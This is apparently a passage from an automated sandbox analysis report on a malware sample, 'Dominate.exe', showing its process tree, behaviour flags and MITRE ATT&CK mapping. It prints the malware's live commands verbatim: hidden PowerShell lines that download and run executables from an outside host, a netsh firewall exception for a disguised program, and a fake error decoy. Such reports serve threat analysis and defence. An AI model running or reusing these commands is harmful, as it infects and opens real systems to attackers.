        netsh firewall add allowedprogram "C:\Windows\WindowsServices.exe" "WindowsServices.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4264
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:3572
- - C:\Users\Admin\AppData\Local\Temp\Dominate.exe
    "C:\Users\Admin\AppData\Local\Temp\Dominate.exe"
    3⤵
    - Executes dropped EXE
    PID:5728
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:3776
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"
      4⤵
      PID:624
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"
        5⤵
        
        PID:3432
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1640
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious use of AdjustPrivilegeToken
        
        PID:1948
        
        C:\Users\Admin\AppData\Local\Temp\BK933495.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK933495.exe"
        7⤵
        Executes dropped EXE
        
        PID:1160
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1160 -s 376
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"
      4⤵
      PID:4560
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"
        5⤵
        
        PID:4656
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:6060
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3464
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Dominate.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
      4⤵
      PID:644
    - - C:\Windows\system32\certutil.exe
        
        certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Dominate.exe" MD5
        5⤵
        
        PID:4196
    - - C:\Windows\system32\find.exe
        
        find /i /v "md5"
        5⤵
        
        PID:1728
    - - C:\Windows\system32\find.exe
        
        find /i /v "certutil"
        5⤵
        
        PID:472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start cmd /C "color b && title Error && echo CURL Error: SSL connect error && timeout /t 5"
      4⤵
      PID:6052
    - - C:\Windows\system32\cmd.exe
        
        cmd /C "color b && title Error && echo CURL Error: SSL connect error && timeout /t 5"
        5⤵
        
        PID:3184
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1420
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5
        6⤵
        Delays execution with timeout.exe
        
        PID:5596
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 5728 -s 2256
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3416

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3604

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:4616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:6120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1052

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:5816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1788

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4412

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:720

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:5244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:4468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5124
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 408 -p 1160 -ip 1160
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:5108
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 584 -p 5728 -ip 5728
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:4224

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 69d0b8014549fe3776b8fb4f1cc8c550 3ECxjCptjkSq7qFoqP2fUQ.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:1272
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:5032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3384

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3712

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4392

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3332

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:2468

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2104

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:5204

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery